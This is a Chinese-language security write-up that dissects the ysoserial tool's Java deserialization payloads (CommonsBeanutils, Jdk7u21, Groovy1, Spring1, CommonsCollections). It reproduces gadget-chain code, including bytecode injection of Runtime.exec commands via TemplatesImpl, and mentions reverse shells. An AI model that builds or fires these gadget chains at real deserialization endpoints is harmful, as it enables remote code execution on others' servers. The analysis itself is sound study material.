java反序列化工具ysoserial分析

wyzsk發表於2020-08-19
作者: angelwhu · 2016/04/01 10:19

0x00 前言


關於java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections這個庫,造成的反序列化問題。然而,在下載老外的ysoserial工具並仔細看看後,我發現了許多值得學習的知識。

至少能學到如下內容:

  • 不同反序列化payload玩法
  • 靈活運用了反射機制和動態代理機制構造POC

java反序列化不僅是有Apache Commons Collections這樣一種玩法。還有如下payload玩法:

  • CommonsBeanutilsCollectionsLogging1所需第三方庫檔案: commons-beanutils:1.9.2,commons-collections:3.1,commons-logging:1.2
  • CommonsCollections1所需第三方庫檔案: commons-collections:3.1
  • CommonsCollections2所需第三方庫檔案: commons-collections4:4.0
  • CommonsCollections3所需第三方庫檔案: commons-collections:3.1(CommonsCollections1的變種)
  • CommonsCollections4所需第三方庫檔案: commons-collections4:4.0(CommonsCollections2的變種)
  • Groovy1所需第三方庫檔案: org.codehaus.groovy:groovy:2.3.9
  • Jdk7u21所需第三方庫檔案: 只需JRE版本 <= 1.7u21
  • Spring1所需第三方庫檔案: spring框架所含spring-core:4.1.4.RELEASE,spring-beans:4.1.4.RELEASE

上面標註了payload使用情況下所依賴的包,諸位可以在原始碼中看到,根據實際情況選擇。

透過對該攻擊程式碼的分析,可以學習java的一些有意思的知識。而且,裡面寫的java程式碼也很值得學習,巧妙運用了反射機制去解決問題。老外寫的POC還是很精妙的。

0x01 準備工作


  • 在github上下載ysoserial工具。
  • 使用maven進行編譯成Eclipse專案檔案,mvn eclipse:eclipse。要你聯網下載依賴包,請耐心等待。如果卡住了,停止後再次執行該命令。

匯入後,可以看到裡面有8個payload。其中ObjectPayload是定義的介面,所有的Payload需要實現這個介面的getObject方法。下面就開始對這些payload進行簡要的分析。

0x02 payload分析


1. CommonsBeanutilsCollectionsLogging1

該payload的要求依賴包挺多的,可能碰到的情況不會太多,但用到的技術是極好的。對這個payload執行的分析,請閱讀參考資源第一個的分析文章。

這裡談談我的理解。先直接看程式碼:

#!java
public Object getObject(final String command) throws Exception {
    final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final BeanComparator comparator = new BeanComparator("lowestSetBit");

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));

    // switch method called by comparator
    Reflections.setFieldValue(comparator, "property", "outputProperties");
    //Reflections.setFieldValue(comparator, "property", "newTransformer");
    //這裡由於比較器的程式碼,只能訪問內部屬性。所以選擇outputProperties屬性。 進而呼叫getOutputProperties方法。  @angelwhu

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = templates;

    return queue;
}

第一行程式碼final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);建立了TemplatesImpl類的物件,裡面封裝了我們需要的命令執行程式碼。而且是使用位元組碼的形式儲存在物件屬性中。
下面就具體分析下這個物件的產生過程。

(1) 利用TemplatesImpl類儲存危險的位元組碼

在產生位元組碼時,用到了JDK中javassist類。具體瞭解可以參考這篇部落格http://www.cnblogs.com/hucn/p/3636912.html
下面是我編寫的一個簡單的樣例程式,便於理解:

#!java
@Test
public void testClassPool() throws CannotCompileException, NotFoundException, IOException
{
    String command = "calc";

    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(angelwhu.model.Point.class));
    CtClass cc = pool.get(angelwhu.model.Point.class.getName());
    //System.out.println(angelwhu.model.Point.class.getName());

    cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
    //加入關鍵執行程式碼,生成一個靜態函式。

    String newClassNameString = "angelwhu.Pwner" + System.nanoTime();
    cc.setName(newClassNameString);

    CtMethod mthd = CtNewMethod.make("public static void main(String[] args) throws Exception {new " + newClassNameString + "();}", cc);
    cc.addMethod(mthd);

    cc.writeFile();
}

上述程式碼首先獲取到class定義的容器ClassPool,並找到了我自定義的Point類,由此生成了cc物件。這樣就可以開始對類進行修改的任意操作了。而且這個操作是直接寫位元組碼。這樣可以繞過許多安全機制,正像工具中註釋說的:

// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

後面的操作便是利用我自定義的模板類Point,生成新的類名,並使用insertAfter方法插入了惡意java程式碼,執行命令。有興趣的可以再詳細瞭解這個類的用法。這裡不再贅述。

這段程式碼執行後,會在當前目錄生成位元組碼(class檔案)。使用java反編譯器可看到原始碼,在原始模板類中插入了惡意靜態程式碼,而且以位元組碼的形式直接儲存。命令列直接執行,可以執行彈出計算器的命令:

現在看看老外工具中,生成位元組碼的程式碼為:

#!java
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
    final TemplatesImpl templates = new TemplatesImpl();

    // use template gadget class
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    // run command in static initializer
    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
    clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
    // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());

    final byte[] classBytes = clazz.toBytecode();

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
        classBytes,
        ClassFiles.classAsBytes(Foo.class)});

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    return templates;
}  

根據以上樣例分析,可以清楚看見:前面幾行程式碼,即生成了我們需要的插入了惡意java程式碼的位元組碼資料。該位元組碼其實可以看做是一個類(.class)檔案。final byte[] classBytes = clazz.toBytecode();將其轉成了二進位制資料進行儲存。

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes,ClassFiles.classAsBytes(Foo.class)});這裡又來到了一個有趣知識,那就是java反射機制的強大。ysoserial工具封裝了使用反射機制對物件的一些操作,可以直接借鑑。

具體可以看看其原始碼,這裡在工具中經常使用的Reflections.setFieldValue(final Object obj, final String fieldName, final Object value);方法,便是使用反射機制,將obj物件的fieldName屬性賦值為value。反射機制的強大之處在於:

  • 可以動態對物件的私有屬性進行改變賦值,即:private修飾的屬性。
  • 動態生成任意類物件。

於是,我們便將com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類生成的物件templates中的_bytecodes屬性,_name屬性,_tfactory屬性賦值成我們希望的值。

重點在於_bytecodes屬性,裡面儲存了我們的惡意java程式碼。現在的問題便是:如何觸發載入我們的惡意java位元組碼?

(2) 觸發TemplatesImpl類載入_bytecodes屬性中的位元組碼

在TemplatesImpl類中存在執行鏈:

#!java
TemplatesImpl.getOutputProperties()
  TemplatesImpl.newTransformer()
    TemplatesImpl.getTransletInstance()
      TemplatesImpl.defineTransletClasses()
        ClassLoader.defineClass()
        Class.newInstance()
          ...
            MaliciousClass.<clinit>()
            //class新建初始化物件後,會執行惡意類中的靜態方法,即:我們插入的惡意java程式碼
              ...
                Runtime.exec()//這裡可以是任意java程式碼,比如:反彈shell等等。  

這在ysoserial工具中的註釋中是可以看到的。在原始碼中,我們從TemplatesImpl.getOutputProperties()開始跟蹤,不難發現上面的執行鏈。最終會在getTransletInstance方法中看到如下觸發載入自定義ja位元組碼部分的程式碼:

#!java
private Translet getTransletInstance()
throws TransformerConfigurationException {
    .............
    if (_class == null) defineTransletClasses();//透過ClassLoader載入位元組碼,儲存在_class陣列中。

    // The translet needs to keep a reference to all its auxiliary 
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//新建例項,觸發惡意程式碼。  
   ............

defineTransletClasses()方法中,會載入我們之前儲存在_bytecodes屬性中的位元組碼(可以看做類檔案),進而返回類的Class物件,儲存在_class陣列中。下面是除錯時候的截圖:

可以看到在defineTransletClasses()後,得到類的Class物件。然後會執行newInstance()操作,新建一個例項,這樣便觸發了我們插入的靜態惡意java程式碼。如果接著單步執行,便會彈出計算器。

透過以上分析,可以看到:

  • 只要能夠自動觸發TemplatesImpl.getOutputProperties()方法執行,我們就能達到目的了。

(3) 利用BeanComparator比較器觸發執行

我們接著看payload的程式碼:

#!java
final BeanComparator comparator = new BeanComparator("lowestSetBit");

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));  

很簡單,將PriorityQueue(優先順序佇列)插入兩個元素,而且需要一個實現了Comparator介面的比較器,對元素進行比較,並對元素進行排隊處理。具體可以看看PriorityQueue類的readObject()方法。

#!java
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    ...........
    queue = new Object[size];
    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();
    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}   

從物件反序列化過程原理,可以知道會首先呼叫該物件readObject()。當然在序列化過程中會首先呼叫該物件的writeObject()方法。這兩個方法可以對比著看,方便理解。

首先,在序列化PriorityQueue類例項時,會依次讀取佇列中的物件,並放到陣列中進行儲存。queue[i] = s.readObject();然後,進行排序操作heapify();。最終會到達這裡,呼叫比較器的compare()方法,對元素間進行比較。

#!java
private void siftDownUsingComparator(int k, E x) {
    .........................
        if (comparator.compare(x, (E) c) <= 0)
            break;
    .........................

}

這裡傳進去的,便是BeanComparator比較器:位於commons-beanutils包。
於是,看看比較器的compare方法。

#!java
public int compare( T o1, T o2 ) {
        ..................
        Object value1 = PropertyUtils.getProperty( o1, property );
        Object value2 = PropertyUtils.getProperty( o2, property );
        return internalCompare( value1, value2 );     
        ..................    
}

o1,o2便是要比較的兩個物件,property即我們需要比較物件中的屬性(可控)。一開始property賦值為lowestSetBit,後來改成真正需要的outputProperties屬性。

PropertyUtils.getProperty( o1, property )顧名思義,便是取出o1物件中property屬性的值。而實際上會去呼叫o1.getProperty()方法得到property屬性值。

到這裡,可以畫上完美的一個圈了。我們只需將前面構造好的TemplatesImpl物件新增到PriorityQueue(優先順序佇列)中,然後設定比較器為BeanComparator("outputProperties")即可。
那麼,在反序列化過程中,會自動呼叫TemplatesImpl.getOutputProperties()方法。執行命令了。

個人總結觀點:

  • 只需要想辦法:自動呼叫TemplatesImplgetOutputProperties方法。或者TemplatesImpl.newTransformer()即能自動載入位元組碼,觸發惡意程式碼。這也在其他payload中經常用到。
  • 觸發原理:提供會自動呼叫比較器的容器。如:將PriorityQueue換成TreeSet容器,也是可以的。

為了在生成payload時,能夠正常執行。在程式碼中,先象徵性地加入了兩個BigInteger物件。
後面使用反射機制,將comparator中的屬性和queue容器儲存的物件都改成我們需要的屬性和物件。
否則,在生成payload時,便會彈出計算器,丟擲異常,無法正常執行了。測試如下:

2. Jdk7u21

payload其實是JAVA SE的一個漏洞,ysoserial工具註釋中有連結:https://gist.github.com/frohoff/24af7913611f8406eaf3。該payload不需要使用任何第三方庫檔案,只需官方提供的JDK即可,這個很方便啊。 不知Jdk7u21以後怎麼補的,先來看看它的實現。

在介紹完上面這個payload後,再來看這個可以發現:CommonsBeanutilsCollectionsLogging1借鑑了Jdk7u21的利用方法。

同樣,Jdk7u21開始便建立了一個儲存了惡意java位元組碼資料的TemplatesImpl類物件。接下來就是怎麼觸發的問題了:如何自動觸發TemplatesImplgetOutputProperties方法。

這裡首先就有一個有趣的hash碰撞問題了。

(1) "f5a5a608"的hash值為0

類的hashCode方法是返回一個獨一無二的hash值(int型),去代表這個唯一物件。如果類沒有重寫hashCode方法,會呼叫原始Object類中的hashCode方法返回一個hash值。
String類的hashCode方法是這麼實現的。

#!java    
public int hashCode() {
    int h = hash;
    int len = count;
    if (h == 0 && len > 0) 
    {
        int off = offset;
        char val[] = value;
        for (int i = 0; i < len; i++) {
            h = 31*h + val[off++];
        }
        hash = h;
    }
    return h;
}

於是,就有了有趣的值:

#!java
String zeroHashCodeStr = "f5a5a608";
int hash3 = zeroHashCodeStr.hashCode();
System.out.println(hash3);

可以看到"f5a5a608"字串,透過hashCode方法生成的hash值為0。這在之後的觸發過程中會用到。

(2) 利用動態代理機制觸發執行

Jdk7u21中使用了HashSet容器進行觸發。新增了兩個物件,一個是儲存了惡意java位元組碼資料的TemplatesImpl類物件templates,一個是代理了Templates介面的proxy物件,使用了動態代理機制。

如下是Jdk7u21生成payload時的主要程式碼:

#!java
......
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
......
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
......
return set;

HashSet容器,就可以當做是一個HashMap<key,new Object()>key便是我們儲存進去的資料,對應的value都只是靜態的Object物件。

同樣,來看看HashSet容器中的readObject方法。

#!java
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {

....................
// Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);
    }//新增set資料
}

實際上,這裡map可以看做是HashMap類生成的物件。接著追蹤原始碼就到了關鍵的地方:

#!java
public V put(K key, V value) {
    .........
    int hash = hash(key.hashCode());
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {//此處邏輯,需要使其觸發key.equals(k)操作。
            ..........
        }
    }
    .........
}

透過以上分析下可以知道:在反序列化HashSet過程中,會依次將templatesproxy物件新增到map中。

接著我們需要觸發程式碼去執行key.equals(k)這條語句。
由於短路機制的原因,必須使templates.hashCode()proxy.hashCode()計算值相等。

proxy使用了動態代理機制,代理了Templates介面。具體請參考其他分析老外LazyMap觸發Apache Commons Collections第三庫序列化問題的文章,如:參考資料2。

這裡又到了熟悉的sun.reflect.annotation.AnnotationInvocationHandler類。
簡而言之,我理解為將物件proxy所有的方法呼叫,都改成呼叫sun.reflect.annotation.AnnotationInvocationHandler類的invoke()方法。

當我們呼叫proxy.hashCode()方法時,自然就會執行到了如下程式碼:

#!java
public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    ............
    if (member.equals("hashCode"))
        return hashCodeImpl();
        ..........

private int hashCodeImpl() {
    int result = 0;
    for (Map.Entry<String, Object> e : memberValues.entrySet()) {
        result += (127 * e.getKey().hashCode()) ^//使e.geyKey().hashCode()為0。"f5a5a608".hashCode()=0;
            memberValueHashCode(e.getValue());
    }
    return result;
}

這裡的memberValues就是payload程式碼一開始傳進去的map("f5a5a608",templates)。簡要畫圖說明為:

因此,透過動態代理機制加上"f5a5a608".hashCode()=0的特殊性,使e.hash == hash成立。
這樣便可以執行key.equals(k),即:proxy.equals(templates)語句。

接著檢視原始碼便知:proxy.equals(templates)操作會遍歷Templates介面的所有方法,並呼叫。如此,即可觸發呼叫templatesgetOutputProperties方法。

#!java
if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);

..........................
 private Boolean equalsImpl(Object o) {
..........................
    for (Method memberMethod : getMemberMethods()) {
        String member = memberMethod.getName();
        Object ourValue = memberValues.get(member);
..........................
                hisValue = memberMethod.invoke(o);//觸發呼叫getOutputProperties方法

如此,Jdk7u21payload便也完美觸發了。

同樣,為了正常生成payload不丟擲異常。先暫時儲存map.put(zeroHashCodeStr, "foo");,後面替換為真正我們所需的物件:map.put(zeroHashCodeStr, templates); // swap in real object

總結一下:

  • 技術關鍵在於巧妙的利用了"f5a5a608"hash值為0。實現了hash碰撞成立。
  • AnnotationInvocationHandler對於equal方法的處理,可以使我們呼叫目標方法getOutputProperties

計算hash值部分的內容還挺有意思。有興趣可以到參考連結中github上看看我的測試程式碼。

3. Groovy1

這個payload和最近Xstream反序列化漏洞的POC原理有相似性。請參考:/papers/?id=13243

下面談談這個payload不一樣的地方。 payload使用了Groovy庫中ConvertedClosure類。該類實現了InvocationHandlerSerializable介面,同樣可以用作動態代理並且可以序列化傳輸。程式碼也只有幾行:

#!java
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
final Map map = Gadgets.createProxy(closure, Map.class);        
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
return handler;

當反序列化handler時,會呼叫map.entrySet方法。於是,就呼叫代理類ConvertedClosureinvoke方法了。最終,來到了:

#!java
public Object invokeCustom(Object proxy, Method method, Object[] args)
throws Throwable {
    if (methodName!=null && !methodName.equals(method.getName())) return null;
    return ((Closure) getDelegate()).call(args);//傳入的是MethodClosure
}  

然後和XStream一樣,呼叫MethodClosure.doCall()方法。即:Groovy語法中"command".execute(),順利執行命令。

個人總結:

  • 可以看到動態代理機制的強大作用。

4. Spring1

Spring1這個payload執行鏈有些複雜。按照常規步驟來分析下:

  • 反序列化物件的readObject()方法為入口點進行跟蹤。這裡是org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider

    #!java
    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
        inputStream.defaultReadObject();
        Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
        this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
    }
    

很明顯的嗅到了感興趣的"味道":ReflectionUtils.invokeMethod。接下來聯絡payload原始碼跟進下,或者單步除錯。

  • 由於流程可能比較錯綜複雜,畫個簡單的圖表示下幾個物件之間的關係:

  • 在執行ReflectionUtils.invokeMethod(method, this.provider.getType())語句時,整個執行流程如下:

    #!java
    ReflectionUtils.invokeMethod()
        Method.invoke(typeTemplatesProxy物件)    
        //Method為Templates(Proxy).newTransformer()
    

這是明顯的一部分呼叫,在執行Templates(Proxy).newTransformer()時,會有餘下過程發生:

#!java        
typeTemplatesProxy物件.invoke() 
    method.invoke(objectFactoryProxy物件.getObject(), args);
        objectFactoryProxy物件.getObject()
            AnnotationInvocationHandler.invoke()
                HashMap.get("getObject")//返回templates物件    
    Method.invoke(templates物件,args)
        TemplatesImpl.newTransformer()
        .......//觸發載入含有惡意java位元組碼的操作

這裡面是物件之間的呼叫,還有動態代理機制,容易繞暈,就說到這裡。有興趣可以單步除錯看看。

個人總結:

  • Spring1為了強行代理Type介面,進行物件賦值。運用了多個動態代理機制實現,還是很巧妙的。

5. CommonsCollections

CommonsCollections類,ysoserial工具中存在四種利用方法。所用的方法都是與上面幾個payload類似。

  • CommonsCollections1自然是使用了LazyMap和動態代理機制進行觸發呼叫Transformer執行鏈,請參考連結2
  • CommonsCollections2CommonsBeanutilsCollectionsLogging1一樣也使用了比較器去觸發TemplatesImplnewTransformer方法執行命令。
    這裡用到的比較器為TransformingComparator,直接看其compare方法:

    #!java
    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
    

很直接呼叫了transformer.transform(obj1),這裡的obj1就是payload中的templates物件。
主要程式碼為:

#!java
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));     
.........
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
//使用反射機制改變私有變數~ 不然,會在之前就執行命令,無法生成序列化資料。
//反序列化時,會呼叫TemplatesImpl的newTransformer方法。 

根據熟悉的InvokerTransformer作用,最終會呼叫templates.newTransformer()執行惡意java程式碼。

  • CommonsCollections3CommonsCollections1的變種,將執行鏈換了下:

    #!java
    TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);
    .............
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                    new Class[] { Templates.class },
                    new Object[] { templatesImpl } )};  
    

檢視InstantiateTransformertransform方法,可以看到關鍵程式碼:

#!java
Constructor con = ((Class) input).getConstructor(iParamTypes);  //input為TrAXFilter.class
return con.newInstance(iArgs);

即:transformer執行鏈會執行new TrAXFilter(templatesImpl)。正好,TrAXFilter類建構函式中呼叫了templates.newTransformer()方法。都是套路啊。

#!java
public TrAXFilter(Templates templates)  throws 
TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();//觸發執行命令
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}
  • CommonsCollections4CommonsCollections2的變種。同樣使用InstantiateTransformer觸發templates.newTransformer()代替了之前的執行鏈。

    #!java
    TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
    ...............
    // grab defensively copied arrays
    paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
    args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
    ..............
    // swap in values to arm
    Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
    paramTypes[0] = Templates.class;
    args[0] = templates;
    ...................
    

照例生成PriorityQueue<Object> queue後,使用反射機制對其屬性進行修改。保證成功生成payload。

個人總結:payload分析完了,裡面涉及的方法很巧妙。也有許多共同的利用特性,值得學習~~

0x03 參考資料


本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章